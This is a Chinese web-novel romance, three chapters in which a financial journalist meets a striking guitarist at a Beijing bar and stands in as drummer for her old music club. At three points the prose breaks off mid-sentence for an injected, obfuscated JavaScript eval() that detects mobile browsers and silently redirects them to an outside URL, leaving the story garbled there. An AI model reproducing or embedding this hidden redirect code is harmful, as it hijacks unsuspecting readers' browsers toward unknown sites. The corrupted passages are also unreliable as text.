《我有嘉宾,鼓瑟吹笙》 1. 我有嘉宾 《我有嘉宾,鼓瑟吹笙》 文/史今朝 2022.6.6 西城区。 装潢精致大气的包厢内,一个临时加上的采访刚刚结束,包厢里只剩下两个人,一个是今天的受访对象,致远科技的老总,周远峰,另一个是《财经周刊》的主编,沈彬。 采访结束,记者走后,周远峰看着沈彬,随口说了句:“跟这小姑娘聊得可真自在,看来,跟人沟通这玩意儿真的看天分。” 沈彬听了,淡淡一笑,没认同他的说法:“还是得有知识储备。” 做记者的,尤其是财经记者,没知识储备,只会瞎聊天,那是竹篮打水一场空。 “你这人都不是我说你,”周远峰轻啧一声,“在媒体圈混了这么多年,还没我看得清。” “怎么说?” “来采访我的,哪个不是名校毕业生,知识储备能差到哪儿去?前几天,有个记者过来,那知识储备充分的,甚至把我们公司的年报都背下来了,问的问题比我们公司的财务总监都专业,一个接一个的,我接受个采访跟考试一样。” 周远峰吐槽起来丝毫不留情面,“那也就是看在老刘的面子上,我才让她把问题问完了,现在的年轻人啊,那一双双眼睛都武装得太精明,唯恐自己露怯,唯恐自己接不上话,唯恐自己占下风,采个访跟参加pk赛一样,唯恐自己输。” “这姑娘不一样,采访的时候,太自如了,状态松弛却又句句点题,这一点才难得,你懂个屁。” 沈彬:“......” “到时候她不想在你那儿干了,”周远峰又道,“你推荐她到我这儿,我肯定不亏待她。” “你想得倒挺美,”沈彬呵笑一声,“不过这姑娘确实是有天分,正好过几天有个新版块,到时候让她过去历练历练。” 周远峰听了,音调拖长应了声行:“你刚不是让她周一交稿吗,到时候稿子写好了记得发我看看,我看看这次能不能写出点不一样的东西。” “不用等周一。” “嗯?” 沈彬语气很笃定:“她今晚肯定发我。” 刚刚结束采访的艾嘉笙,全然不知背后的肯定,也不知新的挑战已经降临。 从唐宫出来,她急忙赶往下一个地点,她有个朋友今天在后海的酒吧组了个局,但因为这临时加上的采访,她已经迟到了快一个小时。 工作的缘故,她今天穿得挺正式,上身一件裁剪利落的白衬衫,下身则是最简单的黑色一步裙,衬衫扎在半身裙里,完美地勾勒出她纤瘦腰肢,被太多人视为穿搭灾难的一步裙,穿在她身上像是量身定制。 这身打扮,脚上配的肯定自然是高跟鞋。 走到路边,艾嘉笙拿出手机看了眼时间,虽然她实在是懒得穿着高跟鞋去挤地铁,想要打车过去,但考虑到这个点,路上肯定堵得不行,她本来就迟到了这么久,没办法,还是转身走向了地铁站。 下地铁时已经八点过半,天色完全暗了下来。 艾嘉笙是在下了地铁之后,才后知后觉地反应过来,离目的地还有至少十分钟的路程要走。 想到还要穿着高跟鞋走这么远的路,她在心中无奈地叹了口气,一股疲惫感也紧随其后地涌上心头。 这世界上哪有轻松的工作。 纵然周远峰评价她采访自如,举重若轻;但再自如、再举重若轻,她那也是在工作。 采访气氛再放松,也不等同于闲聊,记者这个工作,看似动动嘴皮子就行,实则心里一直有根弦在绷着。 还好,有美景作伴,这一路才不至于那么难捱。 夜晚时分的什刹海,青柳正拂面,碧波正映月。 艾嘉笙迎着美景,走至约定地点,打开门,一眼就瞥见了坐在左侧卡座的乔琛。 ——艾嘉笙所在的“扫雷”小分队成员之一。 这个小分队一共有五个人,除了她和乔琛,还有两个男生,周时勉和顾启安,以及一个女生,林蔷。 这会儿,周时勉和林蔷都不在,只有乔琛和顾启安,和另一个女生。 艾嘉笙快要走到卡座的时候,一个娇滴滴的声音先行传入了耳畔: “哥,我们家没有了你,就像鱼没有了自行——”不知发生了什么,正在说话的人声音猛然一顿,然后,话锋抖转,“自行遨游的鳍,这可万万不行啊。” 这个嫩得能掐出水的声音,自然不会是林蔷。 艾嘉笙走到卡座前,低头一看,才认出说话的这个女生是乔琛的妹妹,乔橙。 感受到一股莫名的气场,乔琛甫一抬眼,就与艾嘉笙四目相对。 看到她一身商务装扮,他阴阳怪气地“哎哟”一声:“艾大记者这是又去采访哪位大佬了?” 终于走到卡座,艾嘉笙做的第一件事就是把背包放下,给自己负重的肩膀松了绑,然后,才言简意赅地答:“保密。” 说完,在软沙发上坐下,看着乔橙,饶有兴致地问:“橙子,巴结你哥干啥呢?” 明明问的是乔橙,乔琛却接过话题,主动答道:“她谈了个男朋友,我爸不同意,她想让我去说说好话。” 艾嘉笙问:“为什么不同意?” 乔琛冷笑一声:“还能为什么,门不当户不对。” 乔橙听了,不满地哼了一声,然后将目光转向对面,似要寻求同盟:“嘉笙姐,你说这都什么年代了,谁还非要讲究门当户对啊,古板。” “这年代确实没必要讲究门当户对。”艾嘉笙说。 说完,就看到乔琛在对她使眼色,艾嘉笙权当没看见,按照自己的逻辑往下说: “但要精神互对,经济互对。” “不是吧不是吧不是吧!”乔橙听了,摸着脑袋,无语哀嚎,“这个标准怎么感觉比门当户对还难达到啊!” 艾嘉笙被她这模样逗笑,正想说话,突然感到一只手搭在了自己肩上,与此同时,耳边响起一道戏谑的低沉女声:“哟,母胎solo又开始你的恋爱小课堂了?” 这极具岁月感的烟嗓,不是林蔷还能是谁。 刚从卫生间回来的林蔷,在艾嘉笙旁边坐下,手亲昵地拍着她的肩,说出的话却是不饶人:“橙子,你别听她的,屁点实战经验都没有,天天还搞得自己天下第一懂。” 艾嘉笙:“???” 我他妈? 你上次失恋是谁安慰你的。 真是不堪一击的脆弱友情。 她煞有介事地瞪了林蔷一眼,然后,从背包里拿出笔记本,递给旁边一直沉默的男生:“启安,帮把我笔记本充上电,谢谢。” 乔琛见状,忍不住说:“我去,你充电不会是为了在这儿写稿吧?不是吧艾sir?” 林蔷跟他一唱一和:“你们主编也太不是人了吧,刚转正就这么逼你啊,周六都不让你休假啊,再说,你又不是社会新闻记者,晚一会儿能怎么着?” 艾嘉笙:“没人逼我,主编让我周一交稿。” “这还有一天的时间,你急什么?” “你懂什么,这稿子就跟刚打出来的烧饼一样,得趁热吃才好吃,有我在,你们放心喝,等会儿醉了我肯定挨个把你们送到家。” 乔橙一听瞬间来劲了:“有我笙姐在,就是省心!” 五人小分队,到了四人,但大家也没觉得太奇怪。 毕竟,身为医学生的周时勉,迟到对他来说早已是家常便饭。 再加上今天多了个乔橙,所以还算玩的过来。 艾嘉笙这人身上有着不可破解的游戏结界,大家也都知道,于是放任她在角落里写稿。 本来一切和往常一样,平稳运行。 直到艾嘉笙写稿写到一半,没有任何预兆的,突然听到乔橙大吼了一声:“卧槽!这什么极品大帅哥啊!嘉笙姐,快看!” 艾嘉笙十指飞快地在键盘上敲着,听到乔橙叫她,目光虚虚地往台上看了一眼,但实际的眼神,片刻都没有离开过自己的屏幕。 乔橙见状,有些不甘心,拽着她的胳膊又问:“帅不帅?” 艾嘉笙心里正琢磨着下句话该怎么写为妙,点头敷衍道:“帅帅帅!帅飞了!” “行了行了,”乔琛接过话头,示意乔橙把注意力放回到牌上来,“她天天看着我们仨,早就对帅哥免疫了。” “哥,你真的少自恋了,”乔橙忍不住翻了个白眼,“你没有了这张脸,就像鱼没有了自行车,只会更加风生水起。” 乔琛:“???” 感觉有被狠狠气到,乔琛正准备回嘴,结果却突然听到艾嘉笙云淡风轻地来了句:“谁说我对帅哥免疫?我对帅哥敏感着呢。” “你要是真对帅哥有感觉,至于到现在都是母胎solo?”林蔷听了,忍不住冷笑一声,一边看牌一边说,“就你读书学校的帅哥,岂不是一抓一大把,怎么一个都没成?” 艾嘉笙罕见的一本正经:“帅是帅,但是都没长在我的xp上。” “哟,艾嘉笙,我真是小看你了啊,”林蔷一听这词瞬间来劲了,“想不到xp这词能从你嘴里说出来。” 艾嘉笙:“......” 林蔷看着她,饶有兴致地追问:“那你说说,什么样的男人,戳你xp啊?” 艾嘉笙听了,极为嫌弃地看了她一眼:“你一个女的,问这个干什么。” 说完,用眼神示意他们继续玩:“行了行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230443|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我这马上要写完了,你不要打乱我的思路,等我写完再跟你瞎扯。” 很快,艾嘉笙又重新投入在自己的小世界之中。 这虽然是个静吧,但周围往来的人也不少,再加上有人驻唱,所以气氛热闹得很。 但艾嘉笙像是随身携带真空结界,能够丝毫不受外界环境的影响,专注在自己的世界中。 但她也不是完全屏蔽了外界。 就比如,她在写稿的时候,听到乔琛说了一嘴:“这酒吧要歇业一个月,重新装潢,这也是我为什么把你们约在这里的原因,下次再开业可就不是这个样子咯。” 类似这样的话,在她耳朵里过了一遍,她有意识,不过丝毫不会影响她的思路。 但故事的开始,总要带些意料之外。 才能让之后的情节,千回百转。 不知过了多久,眼前的局愈发白热化,她的稿子进入收尾阶段。 就是在这个时候,没有任何预兆的,一个男性嗓音,于略带嘈杂的环境中,遽然响起。 清沉、疏淡、极富磁性:“为大家带来一首林宥嘉的——” 声音不大,可艾嘉笙就是捕捉到了。 与此同时,她正在键盘上疾驰的手指,猛地一顿。 这一刻,饶是她自己也说不清。 这份停顿,是因为他的音色,还是他提到的那个人名。 林宥嘉。 零几年的华语乐坛,堪称神仙打架,很多脍炙人口的歌曲,时至今日还在被广泛传唱。 以周杰伦、王心凌、FIR乐团为代表的华语男歌手、女歌手以及组合,占据了多少90后的青春。 这些歌手的作品,艾嘉笙自然也喜欢,毕竟也陪伴她度过无数个青春岁月。 但要说最偏爱的男歌手,还是当属林宥嘉。 虽然他不是大火,但那慵懒迷人的嗓音,带着难以复制的个性,总是太让人心痒。 因此,艾嘉笙被本能驱使,循声望了过去。 此刻,她在坐在台下,目光摄入的高度有限,再加上“爱好病”作祟,因此,她抬眼看过去的时候,最先注意到的是放在吉他弦上的那双手。 弧度完美,指节纤长,再难按住的和弦,在他手中,似乎都能变得轻而易举、游刃有余。 细细一看,指甲也被修剪的平整圆润,在灯光下泛着淡粉色的光。 干干净净,抓人眼球。 这手,很过关。 艾嘉笙心里给这双手打了个满分。 看完放在吉他上的那双手,她的目光继续上移,很快于吉他后看到一件和她今天打扮得如出一辙、同样是一身商务装扮的白衬衫。 头顶灯光轻柔洒落,空调冷风开得很足。 男人精瘦流畅的胸部线条,隐没在被风鼓起的白衬衫里,经由灯光一照,完美身材若隐若现。 想起刚才说过的一个词,艾嘉笙喉间莫名一哽,然后,目光继续往上。 男人衬衫最上面的两颗扣子已经解开,利落凸出的喉结裸露在外,肤色白皙,脖颈修长,下颚线清晰硬朗。 看到这儿,艾嘉笙已经有些控制不住眼神,完全是下意识地,任凭它继续往上。 沐在灯光下的那张脸,终究没有让她失望。 薄唇、高鼻梁、一双深邃眉眼。 清晰立体的五官,在吉他这个极具少年感乐器的烘托下,更显肆意英俊。 尤其是那双眼睛,被灯光一晃,像黑曜石一样,漆黑明亮。 艾嘉笙感觉自己的心跳漏了一拍,之后,又开始狂跳。 她凝神看着,却没想到,台上那个人的目光也正好逡巡一圈,扫到了她坐的这个方向。 一瞬间,四目相对。 与他目光交错的瞬间,艾嘉笙无端晃了一下神。 这一刹,她有种错觉。 ——那深情款款的目光仿佛直达她心底,挟有笑意。 漫长的心路历程,换算在真实的时间里,不过两秒钟的时间。 两秒钟后,她才将思绪拨回到他刚才停顿的话尾:林宥嘉。 这一刻,艾嘉笙脑海中闪过无数首歌名:说谎、想自由、残酷月光...... 这些歌曲,虽然都不是她最钟意的那一首,但传唱度极高。 一个个,带着歌词的无尽韵味,带着旋律的朗朗上口,带着林宥嘉独特的叙事风格,被广泛传唱。 艾嘉笙看着舞台上那张帅气到惊心动魄的脸,觉得他的嗓音,不管配哪首歌,好像都挺搭。 正猜测着他会选择唱哪一首。 结果,下一秒,他就带着她预料之外的四个字,重重敲在她心上: “神秘嘉宾。” 2. 我有嘉宾 这歌好,哪哪都好。 歌词好,旋律好,编曲好,意境好,嗓音好。 只有一点不好。 不好唱。 想到这儿,艾嘉笙脑海里自动浮现出这首歌的第一句词: “我踩着梦的阶梯,走进了,一座迷雾森林。” 旋律平缓,娓娓道来。 可听起来越是容易的调,往往越考验歌手功底。 因为,首句是温柔的诱饵。 ——钩住你的耳朵,才能诱惑你渐入佳境。 林宥嘉唱这首歌,用嗓音里得天独厚的故事感,让你先与性格里的坚硬达成和解;然后,再用抽丝剥茧的演唱方式,让你不知不觉—— 共鸣他的共鸣,邀请他的邀请。 人的音色,是上天赋予。 独具一格,难以复刻。 所以,艾嘉笙看着台上的那个男人,不由自主地开始猜想。 猜想着他会弹怎样的和弦作为旋律,也猜想着,这样的嗓音唱起歌来会是怎样的抓耳动听。 好奇之余,她还莫名的,生出一些不合时宜的关心。 ——例如,他能唱好吗? 正想着,一个利落扫弦强势入耳。 不作任何商量,绕梁盖下。 下一秒,舞台上那个抱着吉他的男人,薄唇轻张,没有任何铺垫地,直接将歌曲推上了高潮: “谁闯进我的场地, “谁让我措手不及” 艾嘉笙听了,放在键盘上的手,猛然一顿。 笔记本的word文档被她连续按出好几个相同的字符。 “怎么会有......”她忍不住在心中轻叹。 怎么会有这么具有穿透感的声音。 怎么会有这么不按常理出牌的人。 怎么会有…… 这么霸道的演唱方式。 ——面对这样一首抒情歌,他竟然越过主歌,直接进了副歌。 他直接把歌曲推向了高潮,验证了她刚才的猜想无一中标。 艾嘉笙不禁觉得自己刚才的心路历程很好笑。 她抬眸,借着灯光凝视他的侧脸。 灯光下,他侧脸轮廓利落清晰,尤其是鼻型,尤为锋利挺拔,睫毛很长,在下眼睑处扫出一片淡淡阴影,落在额前的碎发,恰如其分地中和了他眉眼的深邃和凌厉。 至于嗓音,艾嘉笙想了想,觉得用游刃有余来形容最为恰当。 不管是下滑音,还是转音,都游刃有余。 这份自如,无关炫技,是上天赋予他音色的独特魅力。 可以看出,他是天赋型歌手,但应该不是职业。 不过,职不职业这件事,在此刻一点都不重要。 每一位神秘嘉宾,都在用行动,表达着:她们若是嘉宾,会笑纳他的邀请。 嘈杂的人声不知道何时安静了下来,酒吧小哥也是绝对的搞气氛高手,熟练地将灯光调低一个度,这里摇身一变,成了一个临时的livehouse。 更有甚者,从座位上站起来,打开了手机的闪光灯,随旋律摇晃。 后座无人,艾嘉笙也按捺不住,索性将笔记本放置于身侧,站起了身。 突然拔高的视线,终于让她看清他的全貌。 果不其然,白衬衫下面是一条黑色西裤,柔顺垂落的裤角,熨帖平整。 他坐在高脚凳上,电吉他被他抱在右膝,左脚撑地,右脚则踩在高脚凳的脚蹬上,西裤和皮鞋之间,露出一截黑色袜筒。 艾嘉笙这人是个典型的细节控。 就比如,她认为,男士如果穿正式的西裤和皮鞋,一定要配黑色商务长袜,免得坐下来时露出一截小腿。 还好,他没有。 黑色商务长袜包裹着细瘦脚踝,曲线流畅又性感。 脚上锃亮的黑色皮鞋,更是一尘不染。 他就这样,穿着一身正装,投身在人间烟火。 左手手腕扣着一个精密腕表,右手却在吉他弦上,管它今夕何夕的肆意起落。 艾嘉笙想,该怎么形容这种气质。 ——觉得他既有成熟的精英感,又有蓬勃的少年气。 刚林蔷问她,什么样的男人戳你xp。 她没说出口的那个答案,是反差感。 比如,穿着一身正装弹吉他。 这种反差感,很蛊惑人心。 演唱时,那个人全程没有看艾嘉笙所在的方向,只是唱到最后一句,才像是为了“顾全大局”一样,往这个方向扫了一眼。 慵懒的一眼,漫不经心,又天生含情。 他看着她,唱完歌曲的末句:“曲终人散却留下,不会结束的结局。” 艾嘉笙在此刻莫名生出错觉:他在对她演唱。 唱完,他便抬高双臂,动作利落地摘掉了电吉他。 然后,长腿一迈,走下舞台。 速战速决,丝毫不拖泥带水。 直到他的身影彻底消失在视线,艾嘉笙才收回目光。 然后,抱起笔记本,把刚才摁错键盘打出的字,长按删除键,一个又一个的删除。 她看着文档上倒退的光标,心情也莫名生出一种反差感。 这首歌好像特别长。 仿佛一颗流星终于划过星河,你知结局,仍拍手称赞。 但又好像特别短。 仿佛一座火山突然喷发烈焰,你不知结局,只知入眼处,皆是怦然。 林蔷这个混迹社会多年的人精,一眼便看出她状态不对,于是,将手中的牌一扔,自行认输。 正准备上前问两句,结果,半道被人“截了胡”。 艾嘉笙是在快要删除完乱码的时候,听到耳边突然传来一个微微上扬、明显试探的嗓音:“嘉笙师姐?” 艾嘉笙抬眼,看到一个意料之外的熟悉脸庞,有些惊喜地问:“周扬?你怎么在这儿?” “师姐,你有时间吗?”周扬看着她,语气有些焦急,“快快快,来救个场。” “救什么场?” “我们音乐社今天演出,但鼓手堵路上了,你来帮我们敲一下架子鼓。” 乔橙一听,瞬间又来劲了,正想问一句“嘉笙姐你竟然会敲架子鼓?”,结果,连名字都还没叫出口,只听见“啪”的一声,笔记本被人利落的扣上。 抬眼时,艾嘉笙已经二话不说从座位上站起,像女侠一样,动作利落地朝周扬一摆手:“走!” 她曾是学校音乐社的一员,临时救场而已,没什么可犹豫。 但她没想到,能在后台,再次见到他。 这次是背影。 宽肩、窄腰、长腿、利落挺拔的背。 白衣黑裤,风度翩翩,矜贵感与精英感跃然眼前。 他最开始是背对,听到脚步声,才转过了身。 后台窗户开着,恰好一阵风穿堂而过,吹散他额前的碎发,衬得那双剑眉星眸更为清晰俊朗。 艾嘉笙和夏夜晚风一同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230444|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到来,因此得以看到他碎发被吹起的瞬间。 他就这样,站在晚风中,不偏不倚,正对上她的目光。 这次,艾嘉笙确保自己没看错,他眼睛里确实有笑意。 应该不只因为桃花眼天生含情。 而是因为…… 她在心底解读了下,解读出两个字。 ——礼貌。 于是,艾嘉笙遵循社交礼仪,走过他身边的时候,朝他微微颔了下首:“刚才听了你的歌,唱的很好听。” 那人朝她以同样的回礼,言简意赅道:“谢谢。” 社交问话,寻不到一丝暧昧或试探。 这边,周扬拿起架子鼓的鼓槌,递到艾嘉笙手中:“试试顺手不?” 艾嘉笙接过,在手里转了两个行云流水的圈:“没问题。” 说完,一低头,眉头紧蹙。 糟糕...... 她忘了,她今天穿的是过膝一步裙,架子鼓不只是双手运动,双脚还要踏踩镲,她这个打扮,根本施展不开。 但谁没事出门带备用衣服啊。 艾嘉笙考虑了下,问周扬:“有剪刀吗?” 周扬:“剪刀?应该没有吧。” “指甲刀呢?” “师姐,我包里有。”接话的是音乐社的一个女生。 艾嘉笙道了声谢,接过指甲刀,在沙发上坐了下来。 指甲刀受力面小,想要剪开一条裙子不容易,于是,艾嘉笙微微躬身,瞄准一个点,先用力将裙子剪开了一道小缝,然后,放下指甲刀,直接顺着这个缝隙,双手利落地一撕,撕到膝盖上方,动作止住。 这个程度,足够了。 从沙发上站起身,她又将衬衫领口往外翻了翻,露出白皙修长的脖颈。 然后,她又用皮筋把散在肩头的长发,扎成了一个低马尾。 她发质蓬松细软,一扎马尾,鬓角和脸侧的碎发随意散落在脸侧,亚麻棕的发色在灯光下显得温柔无比,刚才还一本正经的财经记者,摇身一变,成为氧气感的韩系美人。 终于把自己收拾利落,除了最后的一个bug,她消除不了。 ——高跟鞋。 她对音乐有种虔诚的心态,穿平底鞋踏踩镲,她才踏实。 不过,总不能把鞋跟弄断吧,毕竟,这鞋子还挺贵。 算了,穿着高跟鞋上吧。 把指甲刀还回去之后,她看着周扬,示意:“谱子给我。” 周扬递给她:“你最熟悉的一首歌,有谱没谱都一样。” 艾嘉笙垂眸一看,确实是很熟悉的一首歌,她之前练过无数次,早已形成肌肉记忆。 她淡笑一声,将手中的谱子一合,看着他们,说:“走,上台。” 看她要上台,刚那个送指甲刀的女生走上前:“来来来,师姐,给你涂个口红。” 艾嘉笙极为洒脱地摆了摆手:“涂什么涂,我一个伴奏的,谁没事看我。” 说完,大步走上了舞台。 她一身白衣黑裙,气质出众,走路带风。 一落座,便看到舞台右侧的“亲友团”在朝她招手,她将鼓槌握在手中,行云流水地画了个圈,作为回应。 回应完,收回目光时,神情再次一愣。 一个“事不过三”的身影,第三次映入她的视线。 还是那个人,还是那把电吉他。 看到这一幕,艾嘉笙手莫名一顿。 什么,他也要上场? 3. 我有嘉宾 琢磨了下,艾嘉笙才反应过来。 这个音乐社的吉他手和鼓手是一对情侣,肯定是一起过来的,要迟到肯定是一起迟到。 艾嘉笙:“......” 行吧,有情人就是不一样,迟到都能喂人狗粮。 架子鼓放置在舞台右侧,艾嘉笙自然在舞台右侧落了座。 至于他,则在舞台左侧就停下了脚步,两个人隔着一个对角线的距离。 这次,他没坐下,而是站着。 事实上,除艾嘉笙之外的所有乐手,均是站立。 乐队准备就绪之后,很快,今天的主唱也终于登上了舞台。 是艾嘉笙同校的师弟,名叫祝鲸海,今天六月刚大学毕业,即将于今年九月前往伯克利音乐学院继续深造。 上台后,祝鲸海先是用眼神和所有乐手打了个招呼,打完一圈,最后将目光落在艾嘉笙身上,朝她笑了笑。 灯光下,他身穿一件深蓝色宽松衬衫,和一条黑色的休闲阔腿裤,头上围了一个和衬衫同色系的发带,压住几缕挑染发色。他站在舞台中央,是万众瞩目的音乐小王子。 和乐手们打完招呼,祝鲸海便转过了身,在舞台中央站好,面向观众。 等会要用到的贝斯被他背在了身后,他站在话筒架面前,抬手调了一下话筒高度。 很快,一个年轻清透的声音从话筒传出:“我在这里唱了四年,从大一新生唱到大学毕业,对这个地方自然有很深的感情,下次过来,这里应该就变成一个全新的模样了,所以,用我非常喜欢的一首歌来跟这里说声再见。” 少年看着台下的观众,说出的话格外明亮:“愿我们洪流之中,依然仰望星空。” “一首One Republic的《Counting Stars》送给大家。” 说完,祝鲸海左手自然垂在裤边,右手握着话筒,低声开始唱: “Lately, I''ve been, I''ve been losing sleep, Dreaming about the things that we could be.” 前两句是清唱。 第三句开始,才多了一个音色加入。 是他的吉他。 他用吉他声做引,开始抛砖引玉。 “But baby, I''ve been, I''ve been praying hard, Said no more counting dollars, We''ll be counting stars. Yeah, we''ll be counting stars.” Stars唱完,吉他手默契地在弦上滑出一个长长尾音。 这悠长尾音是一个信号。 下一秒,所有乐手拿起手中的乐器,很快,音乐声四起,推着整首歌渐入佳境。 整个酒吧也瞬间沸腾了起来。 这是一首词曲都极尽大气的歌,跳脱了小情小爱,唱出了年轻人对待世界的无畏与勇敢。 很快,歌曲进行到艾嘉笙最喜欢的一句歌词: “Old, but I''m not that old, “Young, but I''m not that bold。” “我成熟,但没那么世俗; “我年轻,但没那么莽撞。” 祝鲸海声音落在Old和Young两个字节的时候,艾嘉笙分秒不差地落下鼓槌,在鼓面上重重一击。 让整首歌曲的演绎如虎添翼。 渐渐,歌曲唱至高潮,整个酒吧的气氛也进入了白热化阶段,现场的观众都站起来开始合唱。 两轮高潮过后,歌曲进入了过渡段。 “Take that money, “Watch it burn, “Sink in the river, “The lessons I''ve learned.” 相同的歌词,重复唱四遍。 很考验歌手和乐队对音乐层次的理解与表现。 这时,所有的乐手均停下了弹奏,除了艾嘉笙。 因为这一段,只由歌手和鼓手两个人完成。 这首歌她太熟悉,对歌曲节点的把控,早已烂熟于心。 所以,祝鲸海在落下Take、Watch、Sink、The四个首音时,艾嘉笙也分秒不差地,伴随着四记重重的鼓点。 清晰利落,鼓面似升烟火。 过渡段唱完,最高潮的高潮终于来临。 大合唱第三次开启,这次,不止表演者,连观众都在全力以赴。 所有人的热情加在一起,似乎要把房顶掀翻。 演唱者自然也没有例外,所有人都投入其中,包括艾嘉笙。 她手持鼓槌,在鼓面和吊镲间来回自如。 这是音乐世界里的艾嘉笙。 ——生动明媚、飒爽自由。 火花四射的舞台上,除了艾嘉笙和那个吉他手,其余全部都是自在轻松的着装。 只有他们两个人,穿着商务风格的白色衬衫,却丝毫不觉违和。 他们立于舞台的一左一右,目光是如出一辙的坚定清亮。 这是与反差感相对的一种状态。 ——糅合感。 在这片烟火气息极为浓郁的场景里,没有人因为他们的不同觉得突兀,反倒和谐得很。 这晚,一群热爱音乐的虔诚少年,为一个酒馆,献上收官之战。 - 很快,歌曲落幕,所有表演者朝观众鞠躬致谢。 Live的魅力就在于此,所有的热情、回应,甚至是唱跑的音,都是一首歌的重要组成部分。 毫无疑问,这次的观众,与表演者是相互成就。 后台。 祝鲸海好久没看到艾嘉笙了,摘下贝斯,走到她面前,笑着问:“师姐,好久没打鼓了吧,什么感觉?” 艾嘉笙回过去一个字:“爽!” 有一段时间没见,于是,两个人便在后台聊了几句近况,聊完之后,艾嘉笙才返回卡座。 回去的时候,她特意停下脚步,朝后台扫了一眼,想寻找那个吉他手的背影,结果未果。 她心中莫名生出一丝失落,但也没想太多,从后台走出,返回到卡座。 看到艾嘉笙回来,乔橙就像个迷妹一样,蹭的一声从沙发上站了起来,冒着星星眼,语气很夸张:“帅拉了我的姐!” “啊啊啊那个弹吉他的是谁啊,也帅拉了!” 艾嘉笙听了,笑着回她:“知道你爸为啥不同意你的婚事了吧,你这姑娘,见一个爱一个,没点定力,你爸能放心才怪。” 说着,正准备落座,结果,眸光一低,看到沙发上多了一个人,周时勉。 不知道他是什么时候进来的,看到他,艾嘉笙朝他挑了一下眉,问候道:“来了。” 周时勉“嗯”了一声,抬头看着她,淡淡笑了下,说:“还是第一次看你打架子鼓。” “怎么样?” “有点不像你。” “你这话说的,有歧义了吧。” “嗯?” “说不定这才是真正的我。” 周时勉听了,还是笑,沉默片刻,他看着周围的人,问了句:“要不要来一局扫雷?” 乔琛听了,极为嫌弃地轻啧一声:“你可算拉倒吧,谁来这儿陪你玩这个啊。” 说完,伸手招呼他,“来玩牌。” 周时勉:“嘉笙不会玩。” 其余四人:“......” 她也不是第一天不会玩。 恰巧,这会儿艾嘉笙把采访稿收了尾,检查完之后,发给了沈彬。 然后,笔记本一收,看着一众人,开玩笑道:“我不会玩牌但我会洗牌啊,来,我给你们当苦力。” - 因为是歇业前的最后一个晚上,所以这家酒馆老板说今夜不打烊。 但他们六个人没有留太久,十一点过半,就各自回了家。 还好,所有人意识都是清醒的,没有让艾嘉笙送。 回到家,艾嘉笙洗了个澡,躺在床上,打开朋友圈,准备看完就睡觉。 刷着刷着,艾嘉笙就看到了一个人名,陈杏暖。 她是乐队原本的鼓手,艾嘉笙今天就是代替她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230445|165915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的场。 陈杏暖:【问鼎真是大手笔!呜呜呜承包地铁的我儿子真的帅拉了!】 下面附着一张照片,是她喜欢的那个团体的站子在地铁led屏幕上投放的应援照。 艾嘉笙本来没觉得有什么不对劲,正想给她点个赞。 结果,正准备按下的那一刻,看到那个地名,艾嘉笙目光一怔。 陈杏暖拍摄的时候,无意间摄入了这一站的站名。 是什刹海。 她又看了眼发布时间,是表演开始前半个小时。 艾嘉笙:“???” 什么鬼,不是说打车来堵在半路上了吗? 两个人还挺熟,再加上,艾嘉笙知道她是个夜猫子,这会儿肯定没睡,于是她就直接拨了个语音电话过去。 很快,那边就接通:“师姐。” “杏暖,”艾嘉笙直入主题,“你今天不是打车来的吗?” “啊?”陈杏暖听了,语气一顿,很快反应过来,“啊,对、对、对啊……” “那你怎么拍的地铁里的照片?” “我为了看这个特意进了站。” 艾嘉笙:“......” 行吧,追星族,可以理解。 艾嘉笙很快又察觉出不对劲:“但他们为什么说你堵在路上了啊?” “哦,你说这个啊......”陈杏暖脑子飞快一转,“从地铁站出来,我打了个车。” 艾嘉笙:“???” 走路过去顶多就十分钟,值得你打个车? 陈杏暖似乎也觉得理由不够充分,在那边解释:“我本来想走过去,结果,走到半路,走不动了。” 艾嘉笙:“......” “没事多锻炼锻炼,身体才是革命的本钱。” “谢谢师姐关心。” “对了。”说着,艾嘉笙拿着手机的手指莫名紧了紧。 “嗯?” “你知道今天那个新来的吉他手是谁吗?” “新来的吉他手?”陈杏暖这次总算没有入她的圈套,“谁啊?” “哦,没事,”艾嘉笙回得很快,“我这边还有事,先挂了。” 这边询问无果,艾嘉笙挂了电话,心想要不问问祝鲸海。 看他和那个吉他手配合得挺默契,应该认识吧。 于是,找到祝鲸海的微信。 【师弟,你知道今天那个吉他手是谁吗?】 太直白,删除。 【师弟,今天那个吉他手弹的挺好啊,是咱们学校的吗?】 废话太多,删除。 【师弟......】 删除。 祝鲸海在那边狂打喷嚏,结果,并不是有人在想他。 艾嘉笙斟酌来斟酌句,写好又删除,反复好几次之后,她终于意识到了自己的不对劲。 说实话,她都不知道自己在扭捏在什么劲,明明就是碰到了一个志同道合的人,加个微信,聊聊音乐而已。 